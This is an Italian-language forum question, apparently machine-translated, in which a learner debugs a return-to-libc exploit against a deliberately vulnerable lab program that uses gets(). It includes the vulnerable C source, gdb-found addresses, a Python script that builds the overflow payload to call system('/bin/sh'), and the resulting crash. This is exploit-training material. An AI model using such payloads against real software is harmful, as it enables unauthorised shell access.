Attualmente sto cercando di sfruttare un programma di esempio con un exploit return-to-libc. Il programma è questo:
#include <stdlib.h>
#include <stdio.h>
/* gcc -fno-stack-protector -o lab5C lab5C.c */
char global_str[128];
/* reads a string, copies it to a global */
void copytoglobal()
{
char buffer[128] = {0};
gets(buffer);
memcpy(global_str, buffer, 128);
}
int main()
{
char buffer[128] = {0};
printf("I included libc for you...\n"\
"Can you ROP to system()?\n");
copytoglobal();
return EXIT_SUCCESS;
}
Quindi ho usato gdb e ho ottenuto l'indirizzo di system ().
Poi ho creato una variabile di ambiente SHELL="/ bin / sh" che ho potuto localizzare usando gdb. (era 0xffffdf91
so im usando 0xffffdf97
a causa della SHELL = parte)
Quindi ho individuato l'indirizzo di ritorno di copytoglobal e ho calcolato che erano 156 byte dopo l'inizio del buffer
Da lì ho scritto questo piccolo script python:
from __future__ import print_function
import sys
orig_stdout = sys.stdout
f = open('out.txt', 'w')
sys.stdout = f
print("A"*156, end='')
print("\xa0\x6f\xe2\xf7", end='') #system's adress read from p* system
print("ABCD", end='') #errasing return adress with garbage
print("\x97\xdf\xff\xff") #"/bin/sh"
sys.stdout = orig_stdout
f.close()
Quando eseguo questo in gdb con r < out.txt
ottengo questo risultato:
'Programma ricevuto segnale SIGSEV, errore di segmentazione.
0x44434241 in ?? ()
Quindi sembra che il programma tenti di eseguire il valore fittizio di ebp, il che è davvero strano, perché ho messo un breakpoint proprio prima della chiamata di ret
alla fine di copytoglobal e questo è il modo in cui la pila sembrava:
0xffffdd1c: 0xf7e26fa0 #system() 0x44434241 #ABCD 0xffffdf97 #/bin/sh
Usare un punto di interruzione all'inizio del sistema () Posso anche dire che il programma entra nella funzione system (), ma davvero non capisco perché non apre una shell e si blocca prima della fine di system () (Ho provato a impostare un breakpoint subito prima della chiamata di ret
alla fine di system () ma non è mai stata raggiunta)
Grazie in anticipo